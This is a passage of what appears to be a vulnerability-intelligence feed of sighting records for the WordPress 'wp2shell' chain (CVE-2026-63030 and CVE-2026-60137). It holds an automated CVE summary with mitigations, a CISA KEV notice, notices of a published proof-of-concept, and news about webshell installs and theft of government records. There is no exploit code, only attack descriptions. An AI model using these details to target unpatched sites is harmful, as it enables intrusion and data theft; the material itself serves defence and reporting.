"2026-09-15T00:00:29.241Z", "date_only": false, "value": "2026-09-15T00:00:29.241213Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/CIwg3dUruFUkA2IiAP63EE_3LOdvwiOYKhxCOUQk67UuENI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "067ec729-3598-4aa4-9d0f-f5c805d7328e"}, {"timestamp": "2026-09-16T13:01:54.482Z", "date_only": false, "value": "2026-09-16T13:01:54.482183Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/alon710/8bb76681f888e7031338e0a8853407f6", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "19afcb3a-1eb9-4286-b9e3-6007061e33cd", "content": "# CVE-2026-60137: CVE-2026-60137: SQL Injection in WordPress Core WP_Query Class via author__not_in Parameter\n\n> **CVSS Score:** 5.9\n> **Published:** 2026-07-17\n> **Full Report:** https://cvereports.com/reports/CVE-2026-60137\n\n## Summary\nCVE-2026-60137 is a critical SQL injection vulnerability in the Core component of WordPress. The flaw occurs within the WP_Query class during the processing of the author__not_in parameter, where user-supplied array inputs are constructed into a SQL string without strict integer type-casting. When chained with CVE-2026-63030, an unauthenticated remote attacker can exploit this SQL injection to read database values, extract administrator credential hashes, or modify administrative options to execute arbitrary PHP code on the server.\n\n## TL;DR\nWordPress Core contains an SQL injection vulnerability in the WP_Query class when parsing author__not_in parameters. When chained with CVE-2026-63030, unauthenticated attackers can execute arbitrary SQL and escalate privileges to Remote Code Execution.\n\n## Exploit Status: ACTIVE\n\n## Technical Details\n\n- **CWE ID**: CWE-89\n- **Attack Vector**: Network\n- **CVSS Base Score**: 5.9 (Standalone) / 9.8 (Chained)\n- **Exploit Status**: active\n- **CISA KEV Status**: Listed\n- **EPSS Score**: 0.78305\n\n## Affected Systems\n\n- WordPress Core 6.8.0 through 6.8.5\n- WordPress Core 6.9.0 through 6.9.4\n- WordPress Core 7.0.0 through 7.0.1\n- **WordPress Core**: >= 6.8.0, < 6.8.6 (Fixed in: `6.8.6`)\n- **WordPress Core**: >= 6.9.0, < 6.9.5 (Fixed in: `6.9.5`)\n- **WordPress Core**: >= 7.0.0, < 7.0.2 (Fixed in: `7.0.2`)\n\n## Mitigation\n\n- Upgrade WordPress Core immediately to a patched version\n- Disable or block unauthorized access to the REST API batch routes\n- Implement restrictive WAF rules to detect nested array manipulations in REST requests\n\n**Remediation Steps:**\n1. Access the administrative control panel of the WordPress installation.\n2. Navigate to the Updates section and select Update Now to apply the latest security version.\n3. For headless or automated deployments, update the composer.json or version lockfiles to reference 6.8.6, 6.9.5, or 7.0.2.\n4. Configure the Web Application Firewall to block POST requests directed at /wp-json/batch/v1 and /?rest_route=/batch/v1.\n\n## References\n\n- [WordPress Core Advisory (GHSA-fpp7-x2x2-2mjf)](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)\n- [WordPress 7.0.2 Security Release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)\n- [CISA KEV Catalog Reference](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60137)\n- [Searchlight Cyber Research on wp2shell](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)\n- [Aikido Security Blog Analysis](https://www.aikido.dev/blog/unauthenticated-rce-in-wordpress-wp2shell)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-60137) - Automated Vulnerability Intelligence*", "url": "https://gist.github.com/alon710/8bb76681f888e7031338e0a8853407f6"}, {"timestamp": "2026-09-18T08:00:06.144Z", "date_only": false, "value": "2026-09-18T08:00:06.144914Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/VulnerabilityNews/43589", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "80e569ed-54b8-4bdb-b7d8-fa18704ec49c", "content": "CISA Adds Four Known Exploited Vulnerabilities to Catalog \n\nCISA has added four new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2021-27137 DD-WRT Stack-Based Buffer Overflow Vulnerability\nCVE-2026-0770 Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability \u00a0\nCVE-2026-63030 WordPress Core Interpretation Conflict Vulnerability \u00a0\nCVE-2026-60137 WordPress Core SQL Injection Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/21/cisa-adds-four-known-exploited-vulnerabilities-catalog", "url": "https://t.me/VulnerabilityNews/43589"}, {"timestamp": "2026-09-18T08:00:06.792Z", "date_only": false, "value": "2026-09-18T08:00:06.792446Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/VulnerabilityNews/43573", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "717fed88-6264-4062-8468-faa511390ad8", "content": "Critical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/VulnerabilityNews/43573"}, {"timestamp": "2026-09-18T20:00:03.920Z", "date_only": false, "value": "2026-09-18T20:00:03.920317Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/102695", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "55aa0642-e310-4bf1-b347-80c0a7af32a2", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a arvindear\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-18 16:57:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/102695"}, {"timestamp": "2026-09-19T00:00:10.227Z", "date_only": false, "value": "2026-09-19T00:00:10.227884Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/102695", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "73f9a5f3-e93d-4215-861d-36ee4c271ea5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a arvindear\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-18 16:57:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/102695"}, {"timestamp": "2026-09-19T00:00:42.722Z", "date_only": false, "value": "2026-09-19T00:00:42.722859Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/VulnerabilityNews/43573", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fe893cfe-7e1c-4de6-beb8-1ccc9ccae8d0", "content": "Critical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/VulnerabilityNews/43573"}, {"timestamp": "2026-09-21T00:00:00Z", "date_only": false, "value": "2026-09-21T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "enisa-cnw-kev", "record": "CVE-2026-63030", "field": "timestamps.asserted_at", "uuid": "52d5288e-4cf6-435f-95fd-5a35606b08f2", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-21T00:00:00Z", "date_only": false, "value": "2026-09-21T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "enisa-cnw-kev", "record": "CVE-2026-63030", "field": "timestamps.first_seen_at", "uuid": "52d5288e-4cf6-435f-95fd-5a35606b08f2", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-21T00:00:00Z", "date_only": false, "value": "2026-09-21T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "enisa-cnw-kev", "record": "CVE-2026-63030", "field": "status.status_updated_at", "uuid": "52d5288e-4cf6-435f-95fd-5a35606b08f2", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-22T07:00:12.237Z", "date_only": false, "value": "2026-09-22T07:00:12.237316Z", "kind": "sighting", "label": "Seen", "source": "Telegram/RS5m0OdVynqfpAXslopdUI2FReOGMsRVPyHSkkL3z1_1Kmc", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3a925735-7b14-499f-a389-b5c5c90c53ed"}, {"timestamp": "2026-09-22T09:00:04.304Z", "date_only": false, "value": "2026-09-22T09:00:04.304607Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/14861", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "efad2070-dc9e-4f95-a7ed-58fcc1d4afaf", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/TengkorakCyberCrewzz/14861"}, {"timestamp": "2026-09-22T09:00:04.406Z", "date_only": false, "value": "2026-09-22T09:00:04.406487Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/16676", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b722b3fa-ead2-484a-97c9-5148b17145a8", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/MalaysiaHacktivistz/16676"}, {"timestamp": "2026-09-22T10:00:05.341Z", "date_only": false, "value": "2026-09-22T10:00:05.341941Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/MalaysiaHacktivistz/26064", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7a2d5372-5648-4668-b00f-2a4e4c5c2a3e", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/MalaysiaHacktivistz/26064"}, {"timestamp": "2026-09-22T10:32:48.117Z", "date_only": false, "value": "2026-09-22T10:32:48.117830Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mw3zlnxsjr2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cf6af4a7-ab46-427b-967d-dc120dd6d31a", "content": "18,566 gov records, plaintext passwords stolen via WordPress CVE-2026-63030 & CVE-2026-60137. Patch now. #WordPress #DataBreach #CyberAttack #SecurityNews #GovTech #PatchNow https://thedailytechfeed.com/wordpress-flaws-lead-to-theft-of-18566-gov-records-plaintext-passwords/", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mw3zlnxsjr2o"}, {"timestamp": "2026-09-23T00:00:10.753Z", "date_only": false, "value": "2026-09-23T00:00:10.753647Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/RS5m0OdVynqfpAXslopdUI2FReOGMsRVPyHSkkL3z1_1Kmc", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ecb0ec0b-243a-4322-b792-420363f6969d"}, {"timestamp": "2026-09-23T00:00:12.951Z", "date_only": false, "value": "2026-09-23T00:00:12.951308Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/26064", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e2b0cffc-313a-4319-b238-977e4bcf71a4", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/MalaysiaHacktivistz/26064"}, {"timestamp": "2026-09-23T15:30:07Z", "date_only": false, "value": "2026-09-23T15:30:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/8640", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "472775fe-8448-4894-8977-cab867cdb7f9", "content": "\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 wp2shell \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u044b\u043a\u0440\u0430\u0432 \u0431\u043e\u043b\u0435\u0435 18 000 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0430\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u043e\u0441\u044c GreyNoise \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0441\u0432\u043e\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f (GOG). \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439, \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u044e\u043d\u044f 2026, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0442\u0430\u043a\u0438, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u043e\u0442 7 \u043c\u0430\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u0438 \u0442\u043e\u043c\u0443 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 GreyNoise, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0435\u043c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u0447\u0430\u0441\u043e\u0432\u043e\u043c \u043f\u043e\u044f\u0441\u0435 UTC+8, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u0433\u0440\u0430\u0444\u0438\u043a\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 \u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0432\u044f\u0437\u0438 \u0441 Red Heron, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 Acronis, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u04212, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0438 \u0441\u0445\u0435\u043c\u044b \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 20 \u0438\u044e\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0430\u0447\u0430\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0430\u0442\u0430\u043a \u043d\u0430 WordPress, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u043a\u0430\u043a wp2shell (CVE-2026-63030 \u0438 CVE-2026-60137). GreyNoise \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 49 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 29 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u0442\u043e \u043c\u0430\u043b\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0438 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u044b.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0441\u0430\u0437\u0430\u043d\u043e \u0441 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c \u043c\u0435\u0442\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0441\u0430\u0439\u0442 WordPress 22 \u0438\u044e\u043b\u044f, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0441\u043e\u0437\u0434\u0430\u043b \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 SQL.\n\n\u042d\u0442\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 18 566 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445, \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 \u0438 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u0438 \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438.\n\nGreyNoise \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0431\u044b\u0441\u0442\u0440\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0440\u0443\u043f\u043d\u043e\u0439 